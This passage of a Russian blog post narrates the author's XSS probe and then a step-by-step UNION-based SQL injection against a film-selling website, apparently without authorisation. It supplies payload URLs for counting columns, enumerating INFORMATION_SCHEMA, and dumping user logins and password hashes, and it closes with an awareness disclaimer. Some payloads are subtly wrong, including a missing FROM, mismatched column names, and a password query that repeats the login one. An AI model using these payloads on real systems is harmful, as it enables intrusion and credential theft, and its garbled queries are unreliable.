<p>Детальной информации в запросе не было, но тем не менее я стал искать уязвимости XSS. Извращался над формами, как только мог. Наконец- то нашел поле, в которое можно было загнать скрипт &#8211; что я собственно и сделал. Вводим в поле следующий скриптик: &lt;script&gt;alert(&#8216;XSS&#8217;)&lt;/script&gt; и сабмитим форму (мысль была стандартна &#8211; если админ просмотрит отосланную инфу, то увидит поп-ап окошко с надписью XSS). Я мигом залогинился в админку и открыл секцию, в которую должны были приехать отосланные результаты. До чего же мне было обидно, когда я увидел свой скрипт <img src='http://qateam.com.ua/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  &#8211; alert(\&#8217;XSS\&#8217;) &#8211; что то вроде этого. Бага конечно была &#8211; в том, что можно засабмитить форму со спец-символами, но толку от этого мало. Пробовал извращаться с перекодированием символов, но всё напрасно &#8211; индусы, они и в Африке индусы. SQL-injection даже не искал, просто потому, что не знал, что искать и где искать. Как бы теорию знал: &#8220;Введите в поле &#8216; и если вылетит sql ошибка, то уязвимость есть!&#8221;, а что дальше и что делать, если ошибка не выводится, но проявляется какое-либо другое (не стандартное) поведение?</p>
<p>После этого я стал направленно искать информацию об SQL уязвимостях, читал, практиковался, но толку почти не было. Как вдруг напоролся на портал &#8211; <a href="javascript:document.location='http://www.cyberinfo.ru/'" class="extlink">http://www.cyberinfo.ru</a> там же нашел ряд статей &#8220;Курс Молодого Бойца&#8221;, написанных неким Infringer&#8217;ом. Прочитал все статьи от начала и до конца. Установил XAMMP (набор из MySQL, PHP, Apache, PHPmyAdmin) просто универсальный набор, после установки не требует дополнительного напиллинга. Создал базу данных, и несколько скриптов (сверху вы видели ссылку на упомянутый сайт там же и найдёте статьи (если конечно же есть желание), постить чужое &#8211; рука не поднимается). Потренировался и понял, что ничего невозможного не бывает, главное желание!</p>
<p><strong> </strong><strong>Как это было или борьба с наживой на халявных ресурсах.</strong></p>
<p>И вот как то я напоролся на один сайтец, на котором нам предлагали заплатить денежку и ждать пока на мыло придёт ссылка на фильм или игру. Ну разве это правильно? Таким образом люди не научатся работать с Google!!! Вдруг я глянул на урл страницы, на которой находился, вот как он выглядел &#8211; <em>http://bla.bla.bl/catalog.php?id=1</em>. Хмм&#8230; значит php есть. Запоминаем как выглядит эта страница, открываю страницу с id=2 (<em>http://bla.bla.bl/catalog.php?id=2</em>). приписываем к значению id=2 &#8220;-1&#8243;, получилось &#8211; <em>http://bla.bla.bl/catalog.php?id=2-1</em>. Нажимаем заветную кнопочку &#8220;Enter&#8221; и вуаля!!! Видим первую страницу. Получается, что запрос 2-1 обработался успешно и в результате id принял значение 1. А значит, sql уязвимость есть! теперь, после номера ID ставим одинарную кавычку, нажимаем Enter. получаем &#8211; Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in&#8230; Отсюда делаем вывод, что в качестве СУБД используется MySQL. Что есть хорошо!</p>
<p>Идём дальше:</p>
<p>Дело в том, что sql запросы можно объединять с помощью команды UNION, этим взломщики и пользуются. Но есть одна проблема, в MySql после команды union можно использовать только один запрос &#8211; Select, но и здесь люди нашли выход. Прежде всего, нам нужно определить количество полей в текущей таблице, делается это с помощью поочерёдного подставления значения NULL в эти поля, делается это следующим образом:</p>
<p><em>http://bla.bla.bl/catalog.php?id=1+union+select+null/*</em></p>
<p>Теперь опишу все, что мы написали:</p>
<p>1. <em>http://bla.bla.bl/catalog.php?id=1</em> &#8211; адрес с айдишником</p>
<p>2. union &#8211; Объединение запросов</p>
<p>3. select &#8211; запрос на выбор нужной информации.</p>
<p>4. null &#8211; пустое значение (вместо NUll можно использовать и простые цифры &#8211; 1,2,3,4,5 &#8211; но я привык использовать null)</p>
<p>5. + &#8211; заменитель пробела, дело в том, что, если мы воспользуемся пробелом, то он будет перекодирован в %20, при поиске информации это очень сильно путает.</p>
<p>6. /* &#8211; знак коммента, все значения, введённые за данной по очерёдности символов не будут восприниматься.</p>
<p>Продолжим:</p>
<p>На запрос &#8211; <em>http://bla.bla.bl/catalog.php?id=1+union+select+null/*</em></p>
<p>Мы увидели mysql ошибку, значит запрос не обработался, подставляем еще один NULL:</p>
<p><em>http://bla.bla.bl/catalog.php?id=1+union+select+null,null/*</em> &#8211; снова ошибка. Продолжаем дальше подставлять null, пока запрос не обработается, и мы не увидим страницу в первоначальном состоянии (возможно ошибка все еще будет показываться, но тем не менее информация отображаться будет).</p>
<p>Страница отобразилась правильно после того, как мы подставили восемь значений NULL:</p>
<p><em>http://bla.bla.bl/catalog.php?id=1+union+select+null,null,null,null,null,null,null,null/* </em>- на каждом сайте по-разному.</p>
<p>Отлично, идём дальше:</p>
<p>Теперь нам нужно определить, какие из полей могут принимать информацию, делается это очень просто- на место Null поочерёдно вводим цифры, пока где-нибудь на странице не появятся введённые цифры, к примеру:</p>
<p>Я ввел последовательность цифр 12345 в 3-е поле (конечно же, я начал с первого поля, но символы отобразились только когда я попытался их ввести в 3-м поле):</p>
<p><em>&#8220;http://bla.bla.bl/catalog.php?id=1+union+select+null,null,12345,null,null, null,null,null/*&#8221;</em></p>
<p>Ищем на страничке эти символы, долго искать не пришлось &#8211; они отобразились внизу страницы, как дополнительная ячейка в таблице с надписью &#8211; 12345.</p>
<p>Гуудд! Теперь приступаем непосредственно к сбору инфы:</p>
<p>В MySql есть три замечательных команды:</p>
<p>version() &#8211; показывает версию mysql</p>
<p>Database() &#8211; показывает базу данных</p>
<p>User() &#8211; показывает юзера текущей базы данных</p>
<p>Для того что бы получить имя базы данных изменяем запрос на:</p>
<p><em>&#8220;http://bla.bla.bl/catalog.php?id=1+union+select+null,null,database(), null,null,null,null,null/*&#8221;</em></p>
<p>Нажимаем Enter и смотрим на то место, где у нас отображались введённые ранее символы 12345:</p>
<p>Видим, что база данных называется &#8211; &#8220;blaload&#8221; &#8211; хорошо&#8230;</p>
<p>Попытаемся подобрать имя нужной таблицы в этой базе данных и название нужного нам столбца в ней:</p>
<p>нам нужна таблица с именами и паролями юзверей, предположим, таблица называется user, а нужный нам столбец login:</p>
<p>вставляем запрос &#8211; select+login+from+user (выбрать столбец &#8220;Login&#8221; из таблицы &#8220;User&#8221;):</p>
<p><em>&#8220;http://bla.bla.bl/catalog.php?id=1+union+select+null,null,login,null,null, null,null,null+from+user/*&#8221;</em></p>
<p>вы видите то что нужный нам столбец пишется в поле, которое воспринимает инфу, а уже где эту инфу брать (from+user) в конце запроса, это обязательно! Если вы что- либо перепутаете, у вас ничего не выйдет. Запомните &#8211; нужная инфа  вводится в поле, которое может принимать инфу, место где она находится &#8211; в конце запроса.</p>
<p>Ну, тем не менее, у меня ничего не вышло, я перепробовал еще множество возможных названий таблиц и столбцов в них, но у меня ничего не вышло&#8230;</p>
<p>Я уже было отчаялся, но решил посмотреть версию MySql, c помощью команды version():</p>
<p><em>&#8220;http://bla.bla.bl/catalog.php?id=1+union+select+ null,null,version(),null,null,null,null,null/*&#8221;.</em></p>
<p>Видим, что версия Mysql &#8211; 5.0.26. Я пошёл в гугл и начал искать &#8211; уязвимости Mysql 5.0.26. Не прошло и пяти минут, как я нашёл нужную информацию!</p>
<p>Дело в том, что в MySql версии выше 5.0 (включая), есть замечательные функции &#8211; INFORMATION_SCHEMA.TABLES и INFORMATION_SCHEMA.COLUMNS с ними соответственно используются запросы table_name и column_name. Они нужны для того, чтобы увидеть, какие таблицы есть в базе данных, и как называются столбцы в этих таблицах (грубо говоря &#8211; это просто спасение для взломщиков). Ну хватит рассказывать, давайте продолжим:</p>
<p>1. Смотрим присутствующие в БД таблицы: <em>&#8220;http://bla.bla.bl/catalog.php?id=2+union+select+null,table_name,null,null, null,null,null,null+from+INFORMATION_SCHEMA.TABLES/*&#8221;</em></p>
<p>Видим, что наш лист значительно увеличился и радуемся <img src='http://qateam.com.ua/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  &#8211; просто суперклассно, очень много интересных таблиц, но вот та, которую мы искали &#8211; bla_auth.</p>
<p>2. Отлично, теперь смотрим имена колонок в этой таблице. Объединять запросы я пытался (для того чтобы посмотреть названия колонок, может быть просто потому что устал- не знаю даже), но тем не менее, если мы просмотрим название всех колонок (column_name from INFORMATION_SCHEMA.COLUMNS), то будет не так уж и сложно определить, какие из них относятся к таблице &#8220;bla_auth&#8221;.</p>
<p><em>&#8220;http://bla.bla.bl/catalog.php?id=2+union+select+null,column_name,null,null, null,null,null,null+from+INFORMATION_SCHEMA.TABLES/*&#8221;</em></p>
<p>Просматриваем результаты (их довольно много) и видим интересующие нас колонки &#8211; login и psw.</p>
<p>Ну что, теперь приступим к извлечению нужной нам инфы? <img src='http://qateam.com.ua/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>1. Узнаём имена пользователей &#8211; SELECT login FROM bla_auth</p>
<p><em>&#8220;http://bla.bla.bl/catalog.php?id=2+union+select+null,login,null,null,null,null,null, null+bla_auth/*&#8221;</em></p>
<p>В результатах видим все логины <img src='http://qateam.com.ua/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>2. Теперь приступим к пароликам &#8211; SELECT pwd FROM bla_auth</p>
<p><em>&#8220;http://bla.bla.bl/catalog.php?id=2+union+select+null,login,null,null,null,null,null,null+ bla_auth/*&#8221;</em></p>
<p>Вот теперь видим все пароли, нам остаётся только сопоставить их с логинами &#8211; первый пароль к первому логину и т.д. (Excel рулит).</p>
<p>Все прошло как нельзя лучше, не правда ли? Но должна же быть ложка дёгтя в бочке мёда. Где она, я вам сейчас поведаю &#8211; вместо красивых паролей мы видели их хеш <img src='http://qateam.com.ua/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  , раскодировать его конечно можно, но придётся немного подождать (годик примерное на один пароль, все зависит от сложности пароля, кодирование у них MySql&#8217;евское). Но лично мне не важно, какие там были пароли, возможно даже хорошо, что я не расшифровываю их. Ведь по сути, целью взломщика могут быть не только пароли, но и база e-mail адресов пользователей, или другие данные, а цель тестера – обнаружить уязвимость и сообщить о ней разработчику.</p>
<p>Вот и всё дорогие друзья! Надеюсь, вам хоть чуточку понравилась моя статья, с удовольствием выслушаю критику (и приму к сведению), а так же буду рад ответить на ваши вопросы!</p>
<p>До скорых встреч!</p>
<p>Искренне ваш Le0n.</p>
<p><em>Статья была написана исключительно в ознакомительных целях, а так же для повышения бдительности программистов и администраторов.</em><font color="gray"> </font></p>
<img src="http://qateam.com.ua/?ak_action=api_record_view&id=44&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://qateam.com.ua/password-the-sword-fish/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
	</channel>
</rss>

